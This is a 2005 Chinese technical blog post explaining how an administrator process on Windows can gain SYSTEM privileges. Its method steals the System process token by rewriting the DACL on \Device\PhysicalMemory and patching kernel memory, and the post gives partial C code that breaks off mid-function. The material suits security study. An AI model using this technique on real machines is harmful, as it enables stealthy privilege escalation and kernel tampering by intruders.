管理员组获取系统权限的完美解决方案

理员组获取系统权限的完美解决方案

Author : ZwelL
Blog   : http://www.donews.net/zwell
Date   : 2005.4.28

    关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.
小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".
这里,我先踩在前辈的肩上列一些可行的方法:

1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)"
2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建
3. 远线程插入,插入线程到系统进程,创建一新进程

这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
4. 将程序做成服务,带参数运行新进程

做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.

当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.

这里,我拿出两种新的方案来实现该功能:

第一种方法.我们先来看一下系统是如何进行权限检测的,
举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:
OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;
                                    |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查

也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。
思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.
而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)

实现代码:
===========================================================================================================
#include<windows.h>
#include<stdio.h>
#include<Accctrl.h>
#include<Aclapi.h>

#define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it
#define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG  NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
    NTSTATUS    Status;
    ULONG        Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
    USHORT        Length;
    USHORT        MaximumLength;
    PWSTR        Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT             0x00000002L
#define OBJ_PERMANENT           0x00000010L
#define OBJ_EXCLUSIVE           0x00000020L
#define OBJ_CASE_INSENSITIVE    0x00000040L
#define OBJ_OPENIF              0x00000080L
#define OBJ_OPENLINK            0x00000100L
#define OBJ_KERNEL_HANDLE       0x00000200L
#define OBJ_VALID_ATTRIBUTES    0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG        Length;
    HANDLE        RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG        Attributes;
    PVOID        SecurityDescriptor;
    PVOID        SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  

typedef struct _SYSTEM_MODULE_INFORMATION
{
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemNotImplemented1,
    SystemProcessesAndThreadsInformation,
    SystemCallCounts,
    SystemConfigurationInformation,
    SystemProcessorTimes,
    SystemGlobalFlag,
    SystemNotImplemented2,
    SystemModuleInformation,
    SystemLockInformation,
    SystemNotImplemented3,
    SystemNotImplemented4,
    SystemNotImplemented5,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPagefileInformation,
    SystemInstructionEmulationCounts,
    SystemInvalidInfoClass1,
    SystemCacheInformation,
    SystemPoolTagInformation,
    SystemProcessorStatistics,
    SystemDpcInformation,
    SystemNotImplemented6,
    SystemLoadImage,
    SystemUnloadImage,
    SystemTimeAdjustment,
    SystemNotImplemented7,
    SystemNotImplemented8,
    SystemNotImplemented9,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemLoadAndCallImage,
    SystemPrioritySeparation,
    SystemNotImplemented10,
    SystemNotImplemented11,
    SystemInvalidInfoClass2,
    SystemInvalidInfoClass3,
    SystemTimeZoneInformation,
    SystemLookasideInformation,
    SystemSetTimeSlipEvent,
    SystemCreateSession,
    SystemDeleteSession,
    SystemInvalidInfoClass4,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemAddVerifier,
    SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
    OUT PHANDLE  SectionHandle,
    IN  ACCESS_MASK  DesiredAccess,
    IN  POBJECT_ATTRIBUTES  ObjectAttributes
    );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                
    IN OUT PUNICODE_STRING  DestinationString,
    IN PCWSTR  SourceString
    );

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

RTLINITUNICODESTRING        RtlInitUnicodeString;
ZWOPENSECTION            ZwOpenSection;
ZWQUERYSYSTEMINFORMATION    ZwQuerySystemInformation = NULL;
HMODULE    g_hNtDLL = NULL;
PVOID     g_pMapPhysicalMemory = NULL;
HANDLE     g_hMPM     = NULL;

BOOL InitNTDLL()
{
    g_hNtDLL = LoadLibrary( "ntdll.dll" );
    if ( !g_hNtDLL )
    {
        return FALSE;
    }

    RtlInitUnicodeString =
        (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

    ZwOpenSection =
        (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

    ZwQuerySystemInformation =
        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

    ZwQuerySystemInformation =
        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

    return TRUE;
}

VOID CloseNTDLL()
{
    if(g_hNtDLL != NULL)
    {
        FreeLibrary(g_hNtDLL);
    }
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{

    PACL pDacl=NULL;
    PACL pNewDacl=NULL;
    PSECURITY_DESCRIPTOR pSD=NULL;
    DWORD dwRes;
    EXPLICIT_ACCESS ea;

    if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
        NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = SECTION_MAP_WRITE;
    ea.grfAccessMode = GRANT_ACCESS;
    ea.grfInheritance= NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = "CURRENT_USER";


    if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

    if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

CleanUp:

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
    NTSTATUS        status;
    UNICODE_STRING        physmemString;
    OBJECT_ATTRIBUTES    attributes;

    RtlInitUnicodeString( &physmemString, L"//Device//PhysicalMemory" );

    attributes.Length            = sizeof(OBJECT_ATTRIBUTES);
    attributes.RootDirectory        = NULL;
    attributes.ObjectName            = &physmemString;
    attributes.Attributes            = 0;
    attributes.SecurityDescriptor        = NULL;
    attributes.SecurityQualityOfService    = NULL;

    status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

    if(status == STATUS_ACCESS_DENIED){
        status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
        SetPhyscialMemorySectionCanBeWrited(g_hMPM);
        CloseHandle(g_hMPM);
        status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
    }

    if( !NT_SUCCESS( status ))
    {
        return NULL;
    }

    g_pMapPhysicalMemory = MapViewOfFile(
        g_hMPM,
        4,
        0,
        0x30000,
        0x1000);
    if( g_pMapPhysicalMemory == NULL )
    {
        return NULL;
    }

    return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
    ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
    if(VAddr>=0x80000000 && VAddr<0xa0000000)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值